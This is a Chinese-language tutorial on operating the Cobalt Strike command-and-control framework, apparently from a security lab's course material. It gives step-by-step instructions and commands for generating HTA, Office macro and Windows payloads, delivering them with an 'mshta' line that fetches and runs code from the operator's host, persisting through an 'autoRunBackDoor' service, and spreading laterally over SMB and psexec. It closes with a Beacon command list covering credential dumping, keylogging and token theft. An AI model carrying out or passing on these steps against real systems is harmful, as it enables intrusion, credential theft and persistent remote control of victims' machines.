关于Cobalt Strike的基础操作

基础知识

官方文档:https://www.cobaltstrike.com/aggressor-script/index.html

使用手册翻译版本:https://wbglil.gitbook.io/cobalt-strike/

简介

Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。

Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。本期“安仔课堂”,ISEC实验室的陈老师带大家实战操作Cobalt Strike神器的使用。

目录

  • agscript拓展应用的脚本
  • c2lint 用于检查profile的错误异常
  • teamserver服务端程序
  • cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
  • logs目录记录与目标主机的相关信息
  • update,update.jar用于更新CS
  • third-party第三方工具

启动服务器

若想修改teamserver端口则直接打开teamserver文件修改-Dcobaltstrike.server_port,端口默认为50050

1
sudo ./teamserver <host> <password>

启动客户端

Windows下直接打开cobaltstrike.bat文件,填入teamserver的主机,端口和密码,用户名自定义

image-20210402003746691

用户枚举

1
/names

用户通信

1
/msg <username> <message>

Listener

  • Beacon DNS
  • Beacon HTTP
  • Beacon HTTPS
  • Beacon SMB
  • Beacon TCP
  • External C2
  • Foreign HTTP
  • Foreign HTTPS

Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上,其中包含DNS、HTTP、SMB

Foreign为外部结合的Listener,常用于MSF的结合,一般用来派生会话到MSF

攻击

生成hta

HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。HTML Application有三种类型的生成方式,测试发现,只有powershell方式生成的hta文件才能正常执行上线,Executable和VBA方式生成的hta文件执行的时候提示当前页面的脚本发生错误。

攻击=>生成木马=>Hta程序

image-20210402010123793

选择刚刚创建的监听器,方法有3种,这里选择PowerShell

image-20210402010225346

利用web服务在受害者机器上下载恶意文件

攻击=>钓鱼攻击=>文件下载

image-20210402010419802

选择刚刚生成的hta程序

image-20210402010541043

事件会被记录

image-20210402010734975

在受害者机器上运行

1
mshta http://<host>:80/download/file.ext

生成office宏

攻击=>生成木马=>Office宏木马

image-20210402011728626

选择创建的监听器,弹出使用教程

image-20210402011835331

word开启禁用宏:文件——>选项——>信任中心——>信任中心设置

生成payload

攻击=>生成木马=>生成Payload

image-20210402011942160

可以选择各种语言的payload,还能勾选是否为64位程序

image-20210402012020619

生成分阶段木马

Stager是分阶段传送Payload。分阶段的意思是我们生成的Stager马其实是一个小程序,用于从服务器端下载我们真正的shellcode。分阶段在很多时候是很有必要的,因为很多场景对于能加载进内存并成功漏洞利用后执行的数据大小存在严格限制。所以这种时候,我们就不得不利用分阶段传送了。如果不需要分阶段的话,可以在C2的扩展文件里面把host_stage选项设置为false。

攻击=>生成木马=>Windows分阶段木马

image-20210402012449241

生成无阶段木马

Stageless是完整的木马,后续不需要再向服务器端请求shellcode。所以使用这种方法生成的木马会比Stager生成的木马体积要大。但是这种木马有助于避免反溯源,因为如果开启了分阶段传送,任何人都能连接到你的C2服务器请求payload,并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中,后渗透和横向移动绝大部分是使用的Stageless类型的木马。

Windows Executable(S)相比于Windows Executable,其中包含Beacon的完整payload,不需要阶段性的请求,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可用于将Stageless Payload注入内存。

攻击=>生成木马=>Windows无阶段木马

image-20210402012506006

注意,生成的Windows Service EXE生成的木马,直接双击是不会返回session的。需要以创建服务的方式启动,才会返回session。

1
2
3
4
5
6
7
8
#注意,等号(=)后面要有空格
sc create autoRunBackDoor binPath= "cmd.exe /c C:\users\administrator\desktop\cs.exe" start=auto DisplayName=autoRunBackDoor
#开启某个系统服务
sc start autoRunBackDoor
#停止某个系统服务
sc stop autoRunBackDoor
# 删除某个系统服务
sc delete service_name

主机深入

Bypass UAC提权

image-20210402012958946

hashdump

image-20210402013043844

Mimikatz获取密码

image-20210402013104992

联动MSF

创建Foreign HTTP监听器

MSF使用multi/handler进行监听

渗透测试

端口扫描

image-20210402013643568

共享服务横向移动

IPC测试

1
shell dir \\172.16.35.128\C$

创建SMB Beacon

生成services.exe的Windws无阶段木马

上传到beacon

1
upload /root/Desktop/beacon.exe

复制beacon到内网机器

1
shell copy beacon.exe \\172.16.35.128\C$\windows\temp

创建beacon服务

1
shell sc \\172.16.35.128 creat beacon binpath=c:\windows\temp\beacon.exe

启动beacon服务

1
shell sc \\172.16.35.128 start beacon

连接内网机器

1
link 172.16.35.128

psexec横向移动

如果内网主机无法访问外网

派生一个Foreign Beacon

1
spawn foreign tcp

远程执行beacon

1
psexec 172.16.35.128 C$ beacon smb

脚本管理器

直接导入cna文件即可

socks4a代理

点击SOCKS Server,然后在代理攻击上使用SOCKS4,填上主机和端口即可

image-20210402015236996

停止SOCKS Server

1
socks stop

CobaltStrike常见命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
BeaconCommands
===============
Command Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗

参考

渗透测试神器Cobalt Strike使用教程

CobaltStrike使用详解